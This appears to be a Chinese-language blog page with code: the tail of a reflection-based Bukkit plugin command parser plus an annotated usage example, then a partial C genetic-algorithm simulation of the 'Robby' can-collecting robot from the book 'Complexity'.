                                sender.sendMessage(messagePrefix + ChatColor.RED + String.format("错误: 传入参数 %s[%d] 类型有误, 应为 %s.",
                                        parameter.getName(),
                                        i - entry.getParameters().size() + 1,
                                        humanReadableTypeName(type.getComponentType())));
                            }
                            sender.sendMessage(messagePrefix + ChatColor.RED + argsToString(fullCommandLine));
                            sender.sendMessage(messagePrefix + ChatColor.RED + generateErrorWavyUnderline(fullCommandLine, i + 2));
                        }
                        return false;
                    }
                }
                parsedArgs.add(parsedArray.toArray((Object[]) Array.newInstance(type.getComponentType(), 0))); // 转换为对应类型数组并添加至参数列表
                break;
            }
            try {
                if (String.class.equals(type)) {
                    value = arg;
                } else {
                    value = type.getMethod("valueOf", String.class).invoke(null, arg); // 静态方法无需依赖对象, 故传null.
                }
            } catch (IllegalAccessException | NoSuchMethodException e) {
                sender.sendMessage(messagePrefix + ChatColor.RED + "错误: 内部错误 (0x01).");
                e.printStackTrace();
                return false;
            } catch (InvocationTargetException e) {
                if (type.isEnum()) {
                    sender.sendMessage(messagePrefix + ChatColor.RED + String.format("错误: 参数 %s 的值只能为 %s 之一",
                            parameter.getName(),
                            Util.simplify(Arrays.toString(Util.getOptions(type)))));
                    sender.sendMessage(messagePrefix + ChatColor.RED + argsToString(fullCommandLine));
                    sender.sendMessage(messagePrefix + ChatColor.RED + generateErrorWavyUnderline(fullCommandLine, i + 2));
                } else {
                    if (isNumberClass(type) && StringUtils.isNumeric(arg)) {
                        if (parameter.getMin() != Long.MIN_VALUE || parameter.getMax() != Long.MAX_VALUE) {
                            sender.sendMessage(messagePrefix + ChatColor.RED + String.format("错误: 参数 %s 的值超出范围 ([%d, %d]).",
                                    parameter.getName(),
                                    parameter.getMin(),
                                    parameter.getMax()));
                        } else {
                            try {
                                sender.sendMessage(messagePrefix + ChatColor.RED + String.format("错误: 参数 %s 的值超出范围 ([%d, %d]).",
                                        parameter.getName(),
                                        type.getField("MIN_VALUE").get(null), //忽略此警告, 因为参数类型已经确定
                                        type.getField("MAX_VALUE").get(null))); //忽略此警告, 因为参数类型已经确定
                            } catch (IllegalAccessException | NoSuchFieldException ex) {
                                sender.sendMessage(messagePrefix + ChatColor.RED + "错误: 内部错误 (0x03).");
                                e.printStackTrace();
                                return false;
                            }
                        } // TODO 不必要的 if bind 时处理
                    } else {
                        sender.sendMessage(messagePrefix + ChatColor.RED + String.format("错误: 传入参数 %s 类型有误, 应为 %s.",
                                parameter.getName(),
                                humanReadableTypeName(type)));
                    }
                    sender.sendMessage(messagePrefix + ChatColor.RED + argsToString(fullCommandLine));
                    sender.sendMessage(messagePrefix + ChatColor.RED + generateErrorWavyUnderline(fullCommandLine, i + 2));
                }
                return false;
            }
            if (isNumberClass(type) && (((Number) value).longValue() < parameter.getMin() ||
                    ((Number) value).longValue() > parameter.getMax())) { //忽略此警告, 因为参数类型已经确定
                sender.sendMessage(messagePrefix + ChatColor.RED + String.format("错误: 参数 %s 的值超出范围 ([%d, %d]).",
                        parameter.getName(),
                        parameter.getMin(),
                        parameter.getMax()));
                sender.sendMessage(messagePrefix + ChatColor.RED + argsToString(fullCommandLine));
                sender.sendMessage(messagePrefix + ChatColor.RED + generateErrorWavyUnderline(fullCommandLine, i + 2));
                return false;
            }
            parsedArgs.add(value);
            i++;
        }
        //填充可选参数null
        if (!arrayParameterPresented) {
            for (; i < entry.getParameters().size(); i++) {
                parsedArgs.add(null);
            }
        }
        entry.getModelObject().sender = sender; // 无需考虑线程安全
        entry.getModelObject().label = label;
        try {
            return (boolean) entry.getHandler().invoke(entry.getModelObject(), parsedArgs.toArray());
        } catch (IllegalAccessException e) {
            sender.sendMessage(messagePrefix + ChatColor.RED + "错误: 内部错误 (0x02).");
            e.printStackTrace();
            return false;
        } catch (InvocationTargetException e) {
            sender.sendMessage(
                    messagePrefix + ChatColor.RED + String.format("错误: 在执行命令时出现问题 (%s), 请报告给服务器管理员.",
                            e.getCause()));
            e.printStackTrace();
            return false;
        }
    }

    private void bind0(@NotNull CommandModel model, String @NotNull [] baseRoute) {
        Class<? extends CommandModel> modelClass = model.getClass();
        if (baseRoute.length != 0 && modelClass.isAnnotationPresent(Help.class)) {
            helpText.append("=== ")
                    .append(Util.simplify(Arrays.toString(baseRoute)))
                    .append(" - ")
                    .append(modelClass.getAnnotation(Help.class).value())
                    .append(" ===")
                    .append("\n");
        }
        boolean helped = false;
        command:
        for (Method method : modelClass.getMethods()) {
            if (!method.isAnnotationPresent(Command.class)) {
                continue;
            }
            if (!boolean.class.equals(method.getReturnType())) {
                MessageUtil.error(String.format("在类 %s 中的方法 %s 的返回值类型必须为 boolean.",
                        modelClass.getSimpleName(),
                        method.getName()));
                continue;
            }
            Command commandAnnotation = method.getAnnotation(Command.class);
            if (commandAnnotation.value().isEmpty()) {
                MessageUtil.error(String.format("在类 %s 中的方法 %s 的 @Command 中没有指定命令路径.",
                        modelClass.getSimpleName(),
                        method.getName()));
                continue;
            }

            for (java.lang.reflect.Parameter parameter : method.getParameters()) {
                if (Location.class.equals(parameter.getType())) {
                    toBeWrappedMethods.add(method);
                    JavaStringCompiler javaStringCompiler = new JavaStringCompiler();
                    StringBuilder code = new StringBuilder("public class A extends net.polarmc.bukkitplugin.poleax.kit.command.CommandModel{public boolean wrapped");
                    code.append(method.getName());
                    code.append("(");
                    for (java.lang.reflect.Parameter parameter1 : method.getParameters()) {
                        if (parameter1.getType().equals(Location.class)) {
                            code.append("@net.polarmc.bukkitplugin.poleax.kit.command.annotation.Para(\"x\")Double x,@net.polarmc.bukkitplugin.poleax.kit.command.annotation.Para(\"y\")Double y,@net.polarmc.bukkitplugin.poleax.kit.command.annotation.Para(\"z\")Double z,");
                            continue;
                        }
                        code.append(generateParameterDeclaration(parameter1)).append(",");
                    }
                    code.deleteCharAt(code.length() - 1);
                    code
                            .append(")throws java.lang.IllegalAccessException, java.lang.reflect.InvocationTargetException{")
                            .append("org.bukkit.Location $l;")
                            .append("if(sender instanceof org.bukkit.entity.Entity)$l=new org.bukkit.Location(((org.bukkit.entity.Entity)sender).getLocation().getWorld(),x,y,z);")
                            .append("else $l=new org.bukkit.Location(null,x,y,z);")
                            .append("return (boolean) net.polarmc.bukkitplugin.poleax.kit.command.parser.CommandBinder.getToBeWrappedMethod(")
                            .append(toBeWrappedMethods.indexOf(method))
                            .append(").invoke(this,");
                    for (java.lang.reflect.Parameter parameter1 : method.getParameters()) {
                        if (parameter1.getType().equals(Location.class)) {
                            code.append("$l,");
                            continue;
                        }
                        code.append(parameter1.getName()).append(",");
                    }
                    code.deleteCharAt(code.length() - 1);
                    code.append(");}}");
                    Map<String, byte[]> results;
                    Class<?> wrappedMethodClass;
                    try {
                        results = javaStringCompiler.compile("A.java", code.toString());
                    } catch (IOException e) {
                        e.printStackTrace(); //TODO 异常处理
                        return;
                    }
                    try {
                        wrappedMethodClass = javaStringCompiler.loadClass("A", results);
                    } catch (ClassNotFoundException | IOException e) {
                        e.printStackTrace(); //TODO 异常处理
                        return;
                    }
                    method = wrappedMethodClass.getDeclaredMethods()[0];
                }
            }

            ParsedCommand.Builder command = new ParsedCommand.Builder();
            command.appendRoute(baseRoute);
            command.appendRoute(commandAnnotation.value().split(" "));
            if (method.isAnnotationPresent(Permission.class)) {
                command.setPermissions(method.getAnnotation(Permission.class).value());
            } else if (method.isAnnotationPresent(PlayerSenderRequired.class) ||
                    modelClass.isAnnotationPresent(PlayerSenderRequired.class)) {
                command.setPlayerSenderRequired(true);
            }
            if (method.isAnnotationPresent(Help.class)) {
                helped = true;
                command.setDescription(method.getAnnotation(Help.class).value());
            }
            command.setHandler(method);
            command.setModelObject(model);
            boolean hasOptionalParameterPresented = false;
            String parameterName;
            Class<?> parameterType;
            for (java.lang.reflect.Parameter parameter : method.getParameters()) {
                parameterName = getParameterName(parameter);
                if (parameterName == null) {
                    MessageUtil.error(String.format("在类 %s 中的方法 %s 的参数 %s 没有指定命名. (使用 @Para 注解或在编译时使用 -parameters 选项)",
                            modelClass.getSimpleName(),
                            method.getName(),
                            parameter.getName()));
                    continue command;
                }
                parameterType = parameter.getType();
                if (parameterType.isArray()) { // TODO 考虑数组类型可能不是可变参数
                    if (hasOptionalParameterPresented) {
                        MessageUtil.error(
                                String.format("在类 %s 中的方法 %s 中的可选 (@Optional) 参数与可变参数不可同时存在.",
                                        modelClass.getSimpleName(),
                                        method.getName()));
                        continue command;
                    }
                    if (parameterType.getComponentType().isEnum() && Util.getOptions(parameterType.getComponentType()).length == 1) {
                        MessageUtil.error(String.format("在类 %s 中的方法 %s 中的枚举类型可变参数 %s 的枚举项数必须大于一",
                                modelClass.getSimpleName(),
                                method.getName(),
                                parameterName));
                        continue command;
                    }
                    try {
                        if (!String[].class.equals(parameterType)) {
                            parameterType.getComponentType().getMethod("valueOf", String.class);
                        }
                    } catch (NoSuchMethodException e) {
                        MessageUtil.error(String.format(
                                "在类 %s 中的方法 %s 的参数 %s 的数组的组成类型不包含静态方法 valueOf(String), 无法应用于命令参数 (不要使用基本类型数组).",
                                modelClass.getSimpleName(),
                                method.getName(),
                                parameterName));
                        continue command;
                    }
                } else {
                    try {
                        if (!String.class.equals(parameterType)) {
                            parameterType.getMethod("valueOf", String.class);
                        }
                    } catch (NoSuchMethodException e) {
                        MessageUtil.error(
                                String.format("在类 %s 中的方法 %s 的参数 %s 的类型不包含静态方法 valueOf(String), 无法应用于命令参数 (不要使用基本类型).",
                                        modelClass.getSimpleName(),
                                        method.getName(),
                                        parameterName));
                        continue command;
                    }
                }
                Parameter.Builder parameterBuilder = new Parameter.Builder();
                if (parameter.isAnnotationPresent(Optional.class)) {
                    hasOptionalParameterPresented = true;
                    parameterBuilder.setOptional(true);
                } else if (hasOptionalParameterPresented) {
                    MessageUtil.error(String.format("在类 %s 中的方法 %s 中的可选 (@Optional) 参数必须在所有参数中的末尾位置.",
                            modelClass.getSimpleName(),
                            method.getName()));
                    continue command;
                }
                if (parameter.isAnnotationPresent(Tab.class)) {
                    TabType tabType = parameter.getAnnotation(Tab.class).value();
                    parameterBuilder.setTabType(tabType);
                    if (tabType == TabType.COMMAND && !parameterType.isArray()) {
                        MessageUtil.error(String.format("在类 %s 中的方法 %s 的命令 (@Tab(TabType.COMMAND)) 参数 %s 必须是数组类型.",
                                modelClass.getSimpleName(),
                                method.getName(),
                                parameterName));
                        continue command;
                    }
                }
                if (parameter.isAnnotationPresent(CustomTab.class)) {
                    parameterBuilder.setCustomParameterId(parameter.getAnnotation(CustomTab.class).value());
                }
                if (parameter.isAnnotationPresent(Range.class)) {
                    if (isNumberClass(parameterType) || (parameterType.getComponentType() != null && isNumberClass(parameterType.getComponentType()))) {
                        parameterBuilder
                                .setMin(parameter.getAnnotation(Range.class).min())
                                .setMax(parameter.getAnnotation(Range.class).max());
                    } else {
                        MessageUtil.error(String.format("在类 %s 中的方法 %s 的参数 %s 的类型不是数字类型, 无法应用于命令参数 (不要使用基本类型).",
                                modelClass.getSimpleName(),
                                method.getName(),
                                parameterName));
                        continue command;
                    }
                }
                parameterBuilder
                        .setName(parameterName)
                        .setType(parameterType);
                command.addParameter(parameterBuilder.build());
            }
            ParsedCommand result = command.build();
            if (helped) {
                helpText.append("/")
                        .append("%label")
                        .append(" ")
                        .append(result.toString())
                        .append(" - ")
                        .append(result.getDescription())
                        .append("\n");
                helped = false;
            } else {
                helpText.append("/")
                        .append("%label")
                        .append(" ")
                        .append(result.toString())
                        .append("\n");
            }
            commands.add(result);
        }
        for (Class<?> subModelClass : modelClass.getClasses()) {
            if (CommandModel.class.isAssignableFrom(subModelClass)
                    && subModelClass.isAnnotationPresent(Command.class)) {
                try {
                    String[] subRoute = subModelClass.getAnnotation(Command.class).value().split(" ");
                    bind0((CommandModel) subModelClass.newInstance(), Util.mergeStringArray(baseRoute, subRoute));
                } catch (IllegalAccessException | InstantiationException e) {
                    e.printStackTrace();
                }
            }
        }
    }

    private @NotNull ParsedCommand findEntry(String[] args) throws NoSuchCommandException {
        String lastTrial = null; // 用于"找不到命令..."报错.
        outer:
        for (ParsedCommand commandHandler : commands) {
            if (args.length < commandHandler.getRoute().size()) {
                continue;
            }
            int i = 0;
            for (String label : commandHandler.getRoute()) {
                if (!label.equals(args[i])) {
                    if (i != 0) {
                        lastTrial = args[i];
                    }
                    continue outer;
                }
                i++;
            }
            return commandHandler;
        }
        if (lastTrial == null) {
            throw new NoSuchCommandException("找不到命令: " + args[0]);
        } else {
            throw new NoSuchCommandException("找不到命令: " + lastTrial);
        }
    }

    private void parseTabComplete() {
        for (ParsedCommand command : commands) {
            ArrayList<Object> fullRoute = new ArrayList<>();
            fullRoute.addAll(command.getRoute());
            fullRoute.addAll(command.getParameters());
            routeRaw.add(fullRoute);
        }
    }

    private boolean checkType(String input, Class<?> type) throws NoSuchMethodException, IllegalAccessException {
        if (String.class.equals(type) || String[].class.equals(type) || type.isEnum() || (type.getComponentType() != null && type.getComponentType().isEnum())) {
            return true;
        }
        if (type.isEnum() || (type.getComponentType() != null && type.getComponentType().isEnum())) {
            return true;
        }
        try {
            type.getMethod("valueOf", String.class).invoke(null, input);
        } catch (InvocationTargetException e) {
            return false;
        }
        return true;
    }

    private boolean isNumberClass(Class<?> type) {
        return Number.class.isAssignableFrom(type);
    }

    private @NotNull String argsToString(String @NotNull [] args) {
        StringBuilder builder = new StringBuilder();
        for (String arg : args) {
            builder.append(arg).append(" ");
        }
        return builder.toString().trim();
    }

    private @NotNull String generateErrorWavyUnderline(String @NotNull [] args, int errorIndex) {
        StringBuilder builder = new StringBuilder();
        for (int i = 0; i < args.length; i++) {
            for (int j = 0; j < args[i].length(); j++) {
                if (i == errorIndex) {
                    builder.append("~");
                } else {
                    builder.append(" ");
                }
            }
            builder.append(" ");
        }
        return builder.toString();
    } // TODO 更换实现方式 (双s)

    private @NotNull String humanReadableTypeName(Class<?> type) {
        if (isNumberClass(type)) {
            if (Double.class.equals(type) || Float.class.equals(type)) { // 不可能为基本类型
                return "小数";
            }
            return "整数";
        }
        // 不可能为字符串
        return type.getSimpleName();
    }

    private @NotNull String generateParameterDeclaration(java.lang.reflect.Parameter parameter) {
        StringBuilder builder = new StringBuilder("@net.polarmc.bukkitplugin.poleax.kit.command.annotation.Para(\"");
        builder.append(getParameterName(parameter)).append("\") ");
        for (Annotation declaredAnnotation : parameter.getDeclaredAnnotations()) {
            builder.append(declaredAnnotation.annotationType().getCanonicalName()).append(" ");
        }
        builder.append(parameter.getType().getCanonicalName()).append(" ").append(parameter.getName());
        return builder.toString();
    }

    private @Nullable String getParameterName(java.lang.reflect.Parameter parameter) {
        if (parameter.isNamePresent()) {
            return parameter.getName();
        } else if (parameter.isAnnotationPresent(Para.class)) {
            return parameter.getAnnotation(Para.class).value();
        } else {
            return null;
        }
    }

    @Override
    public boolean onCommand(CommandSender sender, org.bukkit.command.Command command, String label, String[] args) {
        return parse(sender, label, args);
    }

    @Override
    public List<String> onTabComplete(CommandSender sender, org.bukkit.command.Command command, String alias,
                                      String[] args) {
        int i;
        List<String> result = new ArrayList<>();
        List<List<Object>> copy = new ArrayList<>(routeRaw);
        List<List<Object>> removeQueue = new ArrayList<>(); //删除与遍历不能并行操作
        for (List<Object> route : copy) {
            if (copy.size() == 1) {
                break;
            }
            i = 0;
            for (Object arg : route) {
                if (i >= args.length) {
                    break;
                }
                if (arg instanceof String && !StringUtil.startsWithIgnoreCase((String) arg, args[i])) {
                    removeQueue.add(route);
                    break;
                }
                if (arg instanceof Parameter) {
                    try {
                        Class<?> type = ((Parameter) arg).getType();
                        if (!checkType(args[i], type)) {
                            removeQueue.add(route);
                            break;
                        }
                    } catch (NoSuchMethodException | IllegalAccessException e) {
                        sender.sendMessage(messagePrefix + ChatColor.RED + "错误: 内部错误 (0x01).");
                        e.printStackTrace();
                        return new ArrayList<>(0);
                    }
                }
                i++;
            }
        }
        copy.removeAll(removeQueue);
        for (List<Object> route : copy) {
            Object temp = null;
            Object tail = route.get(route.size() - 1);
            if (tail instanceof Parameter && ((Parameter) tail).getType().isArray()) {
                if (route.size() < args.length) {
                    temp = tail;
                }
                if (route.size() >= args.length) {
                    temp = route.get(args.length - 1);
                }
            } else {
                if (route.size() < args.length) {
                    continue;
                }
                temp = route.get(args.length - 1);
            }
            if (temp instanceof String) {
                result.add((String) temp);
            } else if (temp instanceof Parameter) {
                if (((Parameter) temp).getCustomParameterId() != null) {
                    Completer completerFunction = customCompleters.get(((Parameter) temp).getCustomParameterId());
                    if (completerFunction != null) {
                        result.addAll(completerFunction.complete());
                    } else {
                        MessageUtil.error(String.format("未找到自定义 Tab 补全方法: %s.", ((Parameter) temp).getCustomParameterId()));
                        return result;
                    }
                }
                Class<?> type = ((Parameter) temp).getType();
                TabType tabType = ((Parameter) temp).getTabType();
                if (type == Boolean.class || (type.getComponentType() != null && type.getComponentType() == Boolean.class)) { // 不可能为基本类型
                    result.add("true");
                    result.add("false");
                } else if (type.isEnum() || (type.getComponentType() != null && type.getComponentType().isEnum())) {
                    result.addAll(Arrays.asList(Util.getOptions(type)));
                } else if (tabType == TabType.PLAYER) {
                    StringUtil.copyPartialMatches(args[args.length - 1], Bukkit.getOnlinePlayers().stream().map(Player::getName).collect(Collectors.toList()), result);
                } else if (tabType == TabType.WORLD) {
                    StringUtil.copyPartialMatches(args[args.length - 1], Bukkit.getWorlds().stream().map(World::getName).collect(Collectors.toList()), result);
                } else if (tabType == TabType.COMMAND) {
                    List<String> commands = new ArrayList<>();
                    for (HelpTopic cmdLabel : Bukkit.getServer().getHelpMap().getHelpTopics()) { //TODO 取消在此获取
                        commands.add(cmdLabel.getName().replace("/", ""));
                    }
                    if (args.length == route.size()) {
                        StringUtil.copyPartialMatches(args[args.length - 1], commands, result);
                    } else {
                        PluginCommand targetCommand = Bukkit.getPluginCommand(args[route.size() - 1].replace("/", "")); //之前已确保 TabType.COMMAND 参数是最后一个参数
                        if (targetCommand != null) {
                            result.addAll(targetCommand.tabComplete(sender, args[route.size() - 1], Arrays.copyOfRange(args, route.size(), args.length)));
                        }
                    }
                }
            }
        }
        return result;
    }

    private class BasicCommandModel extends CommandModel {

        @SuppressWarnings("unused")
        @Command("help")
        @Help("显示命令帮助")
        public boolean help() {
            sender.sendMessage(helpText.toString().replace("%label", label).trim());
            return true;
        }

    }

    @SuppressWarnings("unused")
    public static Method getToBeWrappedMethod(int index) {
        return toBeWrappedMethods.get(index);
    }

}

最终达成的效果是可以像这样编写命令处理函数而无需从字符串数组开始处理,类似另一个更加成熟且仍在更新的开源插件 ACF。(懒了,用 AI 生成一个用例。)

// Generated by Claude Opus 4.6

import net.polarmc.bukkitplugin.poleax.kit.command.CommandModel;
import net.polarmc.bukkitplugin.poleax.kit.command.annotation.*;
import org.bukkit.Location;

@Help("示例命令组")
@PlayerSenderRequired
public class ExampleModel extends CommandModel {

    // 自定义枚举, 用于演示枚举参数与枚举数组参数
    public enum Mode { NORMAL, FAST, SLOW }

    // 1. 无参命令 + @Help + @Permission
    @Command("info")
    @Help("显示信息")
    @Permission({"example.info", "example.admin"})
    public boolean info() {
        sender.sendMessage("label=" + label);
        return true;
    }

    // 2. 基本类型参数 + @Para命名 + @Range范围限制 + @Tab玩家补全
    @Command("give")
    @Help("给予物品")
    public boolean give(
            @Para("玩家") @Tab(TabType.PLAYER) String target,
            @Para("数量") @Range(min = 1, max = 64) Integer amount
    ) {
        sender.sendMessage("give " + target + " x" + amount);
        return true;
    }

    // 3. @Optional可选参数 + 枚举参数 + Double类型
    @Command("set mode")
    @Help("设置模式")
    public boolean setMode(
            @Para("模式") Mode mode,
            @Para("倍率") @Optional Double multiplier
    ) {
        sender.sendMessage("mode=" + mode + " mul=" + multiplier);
        return true;
    }

    // 4. @Tab(WORLD) 世界补全 + Boolean参数
    @Command("tp world")
    @Help("传送到世界")
    @PlayerSenderRequired
    public boolean tpWorld(
            @Para("世界") @Tab(TabType.WORLD) String world,
            @Para("安全") @Optional Boolean safe
    ) {
        return true;
    }

    // 5. Location参数 (自动展开为x,y,z) + @Tab(COMMAND)命令数组补全
    @Command("exec at")
    @Help("在指定位置执行命令")
    public boolean execAt(
            @Para("位置") Location loc,
            @Para("命令") @Tab(TabType.COMMAND) String[] cmd
    ) {
        sender.sendMessage("loc=" + loc + " cmd=" + String.join(" ", cmd));
        return true;
    }

    // 6. 数组可变参数 + @Range + @CustomTab自定义补全
    @Command("sum")
    @Help("求和")
    public boolean sum(
            @Para("数字") @Range(min = 0, max = 1000) @CustomTab("numberHints") Integer[] numbers
    ) {
        int s = 0;
        for (Integer n : numbers) s += n;
        sender.sendMessage("sum=" + s);
        return true;
    }

    // 7. 枚举数组可变参数
    @Command("modes")
    @Help("设置多个模式")
    public boolean modes(@Para("模式列表") Mode[] modes) {
        return true;
    }

    // 8. 内部类作为子命令组 (@Command on TYPE)
    @Command("admin")
    @Help("管理员命令组")
    @PlayerSenderRequired
    public static class AdminSubModel extends CommandModel {

        @Command("reload")
        @Help("重载配置")
        @Permission({"example.admin"})
        public boolean reload() {
            sender.sendMessage("reloaded");
            return true;
        }

        @Command("debug")
        @Help("调试信息")
        public boolean debug(@Para("详细") @Optional Boolean verbose) {
            msg("debug verbose=" + verbose); // 使用继承的 msg()
            return true;
        }
    }
}

《复杂》捡罐子机器人 Roby —— C 语言实现

高中时读到一本书叫《复杂》(Complexity),讲的是大量的简单个体表现出的复杂行为。似乎是目前 LLM 的理论基础之一?虽然很喜欢这本书但我现在没在做 LLM 相关的工作(不太符合我对计科的想象)。书中有一个例子是一种假想的机器人 Roby 在 2D 网格中移动,它只能看见自己前后左右以及脚下这五个格子。地图中某些格子会有一个“罐子”,地图边界是不能通过的墙壁。使用遗传算法机器学习反复模拟即可得到连人类也难以想出的策略,而这些“策略”只是一串数字。

// SPDX-License-Identifier: MIT
// Copyright (c) 2023 rik

#define _GNU_SOURCE

#include <assert.h>
#include <math.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

#define WIDTH 10
#define HEIGHT 10
#define CANS 50
static_assert(CANS <= WIDTH * HEIGHT, "Too many cans");
#define RULES 200
#define EPOCHS 1000
#define STEPS 200
#define EXECS 100
#define MIXES 2
#define WEIGHT M_E

#define PICK_UP_CAN_REWARD 10
#define PICK_UP_AIR_PUNISH -1
#define KICK_WALL_PUNISH -5

#define PROGRESS_BAR_UNITS 10
static_assert(!(EPOCHS % PROGRESS_BAR_UNITS),
              "EPOCHS is not divisible by PROGRESS_BAR_UNITS");
#define WEIGHTED(X, MAX)                                                       \
    ((size_t)(powf(WEIGHT, -((float)(X) / MAX * (logf(MAX) / logf(WEIGHT)))) *    \
              (MAX)) -                                                         \
     1)
#define _SITUATIONS 243
#define _ACTIONS 7
#define _DIRECTIONS 4

enum action {
    move_north,
    move_south,
    move_east,
    move_west,
    stand_still,
    pick_up,
    move_random,
};

struct result {
    enum action rule[_SITUATIONS];
    long score;
};

struct history {
    long strategy[_SITUATIONS][_ACTIONS][PROGRESS_BAR_UNITS];
    enum action best_rule[_SITUATIONS];
    long best_score;
};

// static uint64_t state = 0x853c49e6748fea9bULL;

// static uint32_t fast_rand(void) {
//     uint64_t oldstate = state;
//     state = oldstate * 6364136223846793005ULL + 0xda3e39cb94b95bdbULL;
//     uint32_t xorshifted = ((oldstate >> 18u) ^ oldstate) >> 27u;
//     uint32_t rot = oldstate >> 59u;
//     return (xorshifted >> rot) | (xorshifted << ((-rot) & 31));
// }

// static void fast_srand(const unsigned int seed) {
//     state = seed ^ 0x853c49e6748fea9bULL;
// }

// #define random fast_rand
// #define srandom fast_srand

static void create_random_world(bool world[restrict HEIGHT][WIDTH]) {
    bool *target;
    long i;
    for (i = 0; i < HEIGHT; i++) {
        memset(world[i], false, sizeof(bool) * WIDTH);
    }
    for (i = 0; i < CANS; i++) {
        do {
            target = world[random() % HEIGHT] + random() % WIDTH;
        } while (*target);
        *target = true;
    }
}

static void create_random_rule(enum action rule[restrict _SITUATIONS]) {
    for (long i = 0; i < _SITUATIONS; i++) {
        rule[i] = random() % _ACTIONS;
    }
}

static long get_situation(const long x, const long y,
                          const bool world[restrict HEIGHT][WIDTH]) {
    long situation = 0;
    if (y != 0) {
        situation += world[y - 1][x] ? 1 : 2;
    }
    situation *= 3;
    if (y != HEIGHT - 1) {
        situation += world[y + 1][x] ? 1 : 2;
    }
    situation *= 3;
    if (x != WIDTH - 1) {
        situation += world[y][x + 1] ? 1 : 2;
    }
    situation *= 3;
    if (x != 0) {
        situation += world[y][x - 1] ? 1 : 2;
    }
    situation *= 3;
    situation += world[y][x] ? 1 : 2;
    return situation;
}

#define UNLIKELY(X) __builtin_expect((X), false)

static long act(long *restrict x, long *restrict y,
                bool world[restrict HEIGHT][WIDTH], const enum action action) {
    switch (action) {
    case move_north:
        if (UNLIKELY(*y == 0)) {
            return KICK_WALL_PUNISH;
        } else {
            *y -= 1;
            return 0;
        }
    case move_south:
        if (UNLIKELY(*y == HEIGHT - 1)) {
            return KICK_WALL_PUNISH;
        } else {
            *y += 1;
            return 0;
        }
    case move_east:
        if (UNLIKELY(*x == WIDTH - 1)) {
            return KICK_WALL_PUNISH;
        } else {
            *x += 1;
            return 0;
        }
    case move_west:
        if (UNLIKELY(*x == 0)) {
            return KICK_WALL_PUNISH;
        } else {
            *x -= 1;
            return 0;
        }
    case stand_still:
        return 0;
    case pick_up:
        if (world[*y][*x]) {
            world[*y][*x] = false;
            return PICK_UP_CAN_REWARD;
        } else {
            return PICK_UP_AIR_PUNISH;
        }
    case move_random:
        return act(x, y, world, random() % _DIRECTIONS);
    }
    return 0;
}

static void mix_rules(const enum action rule1[restrict _SITUATIONS],
                      const enum action rule2[restrict _SITUATIONS],
                      enum action result1[restrict _SITUATIONS],
                      enum action result2[restrict _SITUATIONS]) {
    long i;
    long split = random() % (_SITUATIONS - 1);
    memcpy(result1, rule1, split * sizeof(enum action));
    memcpy(result2, rule2, split * sizeof(enum action));
    memcpy(result1 + split, rule2 + split,
           (_SITUATIONS - split) * sizeof(enum action));
    memcpy(result2 + split, rule1 + split,
           (_SITUATIONS - split) * sizeof(enum action));
    for (i = 0; i < MIXES; i++) {
        result1[random() % _SITUATIONS] = random() % _ACTIONS;
        result2[random() % _SITUATIONS] = random() % _ACTIONS;
    }
}

static int compare_results(const void *restrict result1,
                           const void *restrict result2) {
    return (int)(((struct result *)result2)->score -
                 ((struct result *)result1)->score);
}

static void train(struct history *restrict history, FILE *restrict log_file) {
    long i, j, k, l;
    long x, y, score, progress;
    enum action rules[RULES][_SITUATIONS];
    bool world[HEIGHT][WIDTH];
    bool temp_world[HEIGHT][WIDTH];
    struct result results[RULES];

    progress = 0;
    for (i = 0; i < RULES; i++) {
        create_random_rule(rules[i]);
    }

    printf("    Progress: ");
    for (i = 0; i < PROGRESS_BAR_UNITS; i++) {
        putchar('_');
    }
    for (i = 0; i < PROGRESS_BAR_UNITS; i++) {
        putchar('\b');
    }
    fflush(stdout);
    for (i = 0; i < EPOCHS; i++) {
        for (k = 0; k < RULES; k++) {
            results[k].score = 0;
        }

        for (j = 0; j < EXECS; j++) {
            create_random_world(world);

            for (k = 0; k < RULES; k++) {
                memcpy(temp_world, world, sizeof(bool) * HEIGHT * WIDTH);
                x = 0;
                y = 0;
                score = 0;

                for (l = 0; l < STEPS; l++) {
                    score += act(&x, &y, temp_world,
                                 rules[k][get_situation(x, y, temp_world)]);
                }
                results[k].score += score;
            }
        }

        for (j = 0; j < RULES; j++) {
            memcpy(results[j].rule, rules[j],
                   sizeof(enum action) * _SITUATIONS);
        }
        qsort(results, RULES, sizeof(struct result), compare_results);

        if (results[0].score > history->best_score) {
            memcpy(history->best_rule, results[0].rule,
                   sizeof(enum action) * _SITUATIONS);
            history->best_score = results[0].score;
        }
        fprintf(log_file, "%ld, ", results[0].score / EXECS);
        for (j = 0; j < _SITUATIONS; j++) {
            fprintf(log_file, "%u,", results[0].rule[j]);
            history->strategy[j][results[0].rule[j]][progress]++;
        }
        fputc('\n', log_file);
        if ((i + 1) % (EPOCHS / PROGRESS_BAR_UNITS) == 0) {
            putchar('*');
            fflush(stdout);
            progress++;
        }
        if (i == EPOCHS - 1) {
            putchar('\n');
            break;
        }

        for (j = 0; j < RULES - 1; j += 2) {
            mix_rules(results[WEIGHTED(random() % RULES, RULES)].rule,
                      results[WEIGHTED(random() % RULES, RULES)].rule, rules[j],
                      rules[j + 1]);
        }
    }
}

static void release_history(struct history *restrict history,
                            FILE *restrict log_file) {
    static const char *block_state[] = {"WALL", "CAN", "AIR"};
    long north, south, east, west, center;
    long i, _i, j;

    for (i = 0; i < _SITUATIONS; i++) {
        _i = i;
        center = _i % 3;
        _i -= center;
        _i /= 3;
        west = _i % 3;
        _i -= west;
        _i /= 3;
        east = _i % 3;
        _i -= east;
        _i /= 3;
        south = _i % 3;
        _i -= south;
        _i /= 3;
        north = _i % 3;

        fprintf(log_file, "\t%s\t\tmove_north: ", block_state[north]);
        for (j = 0; j < PROGRESS_BAR_UNITS; j++) {
            fprintf(log_file, "%ld", history->strategy[i][move_north][j]);
            if (j != PROGRESS_BAR_UNITS - 1) {
                fputs(" -> ", log_file);
            }
        }
        fputs(", move_south: ", log_file);
        for (j = 0; j < PROGRESS_BAR_UNITS; j++) {
            fprintf(log_file, "%ld", history->strategy[i][move_south][j]);
            if (j != PROGRESS_BAR_UNITS - 1) {
                fputs(" -> ", log_file);
            }
        }
        fprintf(log_file, "\n%s\t%s\t%s\tmove_east: ", block_state[west],
                block_state[center], block_state[east]);
        for (j = 0; j < PROGRESS_BAR_UNITS; j++) {
            fprintf(log_file, "%ld", history->strategy[i][move_east][j]);
            if (j != PROGRESS_BAR_UNITS - 1) {
                fputs(" -> ", log_file);
            }
        }
